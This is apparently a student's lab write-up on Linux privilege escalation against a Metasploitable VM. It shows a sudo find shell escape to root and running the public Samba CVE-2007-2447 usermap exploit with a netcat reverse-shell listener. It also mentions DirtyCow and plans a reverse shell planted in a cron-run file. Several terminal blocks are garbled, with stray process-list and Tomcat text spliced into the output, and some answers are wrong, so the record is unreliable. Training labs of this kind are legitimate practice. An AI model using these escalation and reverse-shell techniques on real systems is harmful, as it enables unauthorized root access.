

Linux Privilege Escalation

SSH Key:

Connect to 10.13.1.36 with alice account.

- Search for a password that you can find in the history. What is the password?

Your answer: alice

```
cat ~/.bash_history | grep -i 'password\|passwd'  
alice
```

- Do a privilege elevation by logging into your account. What is the user?

Your answer: root

```
alice@metasploitable:~$ sudo -l  
User alice may run the following commands on this host:  
  (ALL) NOPASSWD: /bin/mkdir  
  (ALL) NOPASSWD: /bin/rmdir  
  (ALL) NOPASSWD: /usr/bin/find  
alice@metasploitable:~$ sudo find . -exec /bin/bash \\;  
root@metasploitable:~# whoami  
root  
root@metasploitable:~# id  
uid=0(root) gid=0(root) groups=0(root)  
root@metasploitable:~#
```

Sudo Access:

IP : 10.13.1.36

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- What programs can we run as sudo?

Your answer

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  (ALL) NOPASSWD: /usr/bin/find
```

- [Look at the gtfobins site to see which executable would give you root privileges](#)

Your answer: `find . -exec /bin/sh \\; -quit`

- Execute the command.

```
alice@metasploitable:~$ sudo find . -exec /bin/sh \\; -quit  
sh-3.2# exit  
alice@metasploitable:~$ sudo find . -exec /bin/sh \\;  
sh-3.2# exit  
sh-3.2#
```

- What is the executable run as sudo ?

Your answer: `sudo find . -exec /bin/sh \\; -quit`

Service Exploit

- What is the samba version ?

Your answer

```
alice@metasploitable:~$ smbd --version
Version 3.0.20-Debian
```

- On your kali machine, download this script :

<https://github.com/amriunix/CVE-2007-2447>

```
└─(kali㉿ntsapi)-[~/opt] 8052 2520 ? Ss 09:32 0:00
└─$ sudo git clone https://github.com/amriunix/CVE-2007-2447.git
Cloning into 'CVE-2007-2447'...
remote: Enumerating objects: 11, done.
remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11
Receiving objects: 100% (11/11), done.
Resolving deltas: 100% (3/3), done.
root 18338 0.0 0.0 4092 1560 pts/8 S+ 09:54 0:00
└─(kali㉿ntsapi)-[~/opt] 8052 2524 ? Ss 10:08 0:00
└─$ ls 18418 0.0 0.1 8052 2524 ? Ss 10:10 0:00
AzureGoat18470 dvwa 0.1 less.sh microsoft pycharm10:22 0:00
CVE-2007-2447 exiftool LinEnum nessus5/1 pycharm-community-20
```

- Execute on your kali machine with those parameters :

- RHOST = Remote Host - Victim ip
- RPRT = Remote Port - port of samba
- LHOST = The local ip
- LPRT -- The local port

```
└─(kali㉿ntsapi)-[~/opt/CVE-2007-2447]?
└─$ python usermap_script.py 10.13.1.36 22 10.0.2.15 5000
[*] CVE-2007-2447 - Samba usermap scripts/8
[+] Connecting ! 0.0 0.1 8052 2524 ?
[+] Payload was sent - check netcat ! ?
root 18470 0.0 0.1 8052 2524 ? Ss 10:22 0:00
```

- Execute a listener on your kali machine

```
└─(kali㉿ntsapi)-[~/opt/CVE-2007-2447]pts/1
└─$ nc -nlvp 5000
listening on [any] 5000 ...
alice@metasploitable:~$
```

Issue and Solution

```
└─(kali㉿ntsapi)-[~/opt/CVE-2007-2447]?
$ python usermap_script.py 10.13.1.36 22 10.0.2.15 5000
Traceback (most recent call last):
File "/opt/CVE-2007-2447/usermap_script.py", line 8, in <module>
    from smb.SMBConnection import SMBConnection
ModuleNotFoundError: No module named 'smb'. endorsed.dirs=/usr/share/tomcat5.5/common/endorsed -Dcatalina.base=/var/lib/tomcat5.5 -Dtemp.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/var/lib/tomcat5.5/temp -Djava.security.manager=-Djava.security.BootstrapPolicy=DualPolicy
└─(kali㉿ntsapi)-[~/opt/CVE-2007-2447] conf/catalina.policy org.apache.catalina.startup.Bootstrap
└─$ sudo pip3 install pysmb
Collecting pysmb
  Downloading pysmb-1.2.9.1.zip (1.4 MB) 1.4/1.4 MB 3.2 MB/s eta 0:00:00
    Preparing metadata (setup.py) ... done
Requirement already satisfied: pyasn1 in /usr/lib/python3/dist-packages (from pysmb) (0.5.1)
Requirement already satisfied: tqdm in /usr/lib/python3/dist-packages (from pysmb) (4.66.4)
Building wheels for collected packages: pysmb
  Building wheel for pysmb (setup.py) ... done
    Created wheel: filename=pysmb-1.2.9.1-py3-none-any.whl size=84805 sha256=5044f7a7b118746fc18c9e1a89be0f78dc587d5ed370aaaf3b5e957b65307651
    Stored in directory: /root/.cache/pip/wheels/ab/3c/16/b70dcdc3d266f5696aadcad93479cb5c51171ba06ad542d7b
Successfully built pysmb
Installing collected packages: pysmb
Successfully installed pysmb-1.2.9.1
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv Desktop
```

Kernel Exploit

- What is the kernel version ?

Your answer

```
alice@metasploitable:~$ dpkg -l | grep linux-image
ii  linux-image-2.6.24-16-server          2.6.24-16.30
    .24 on x86
ii  linux-image-server/CVE-2007-2447     2.6.24.16.18
    ... usermap_script.py 10.13.1.36-22 10.0.2.15:5000
                                         Linux kernel image for version 2.6
                                         Linux kernel image on Server Equipment.
```

```
alice@metasploitable:~$ uname -r
2.6.24-16-server2447
```

- Look in searchsploit if the kernel is vulnerable ? If or how many are?

Your answer: no vulnerability found

```
└─(kali㉿ntsapi)-[~]
  └─$ searchsploit linux kernel 2.6.24-16-server
Exploits: No Results
Shellcodes: No Results
```

- Download the dirtycow exploit from here :

<https://www.exploit-db.com/exploits/40839/>

- Compiled and executed. It replaces the user 'root' with a new user 'rash' by editing the file /etc/passwd.

And BIM !

- Download pspy32 in a folder /home/alice/your-name/.

Your command

```
└─(kali㉿ntsapi)-[~]
  └─$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa alice@10.13.1.36
  alice@10.13.1.36's password:
  Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

  The programs included with the Ubuntu system are free software;
  the exact distribution terms for each program are described in the
  individual files in /usr/share/doc/*copyright.

  Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
  applicable law.

  To access official Ubuntu documentation, please visit:
  http://help.ubuntu.com/
  Last login: Tue Jul  9 03:24:06 2024 from 192.168.149.14      maze.png
  alice@metasploitable:~$ mkdir -p /home/alice/your-name
  alice@metasploitable:~$ cd /home/alice/your-name
  <wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
  --03:51:16--  https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
                => pspy32.1'
  Resolving github.com ... 140.82.121.4
  Connecting to github.com|140.82.121.4|:443 ... connected.
  OpenSSL: error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version
  Unable to establish SSL connection.
```

- For pspy32 to work, you must give it execution rights.

Your answer

```
└─(kali㉿ntsapi)-[/home/alice/your-name]
  └─$ sudo chmod +x pspy32
```

- Wait 5 minutes, you can go get a coffee.

- Is there a process to launch if so, which one?

Your answer

```
(kali㉿ntsapi)-[/home/alice/your-name]  
└─$ sleep 300 # This will pause the script for 300 seconds (5 minutes)
```

- What is the file that is executed?
Your answer
- Do you have write permissions on this file?
Your answer
- Do a test by overwriting the file with a command line to start a [reverse shell](#)
- Wait 5 minutes, you can check your email.

AND BIM!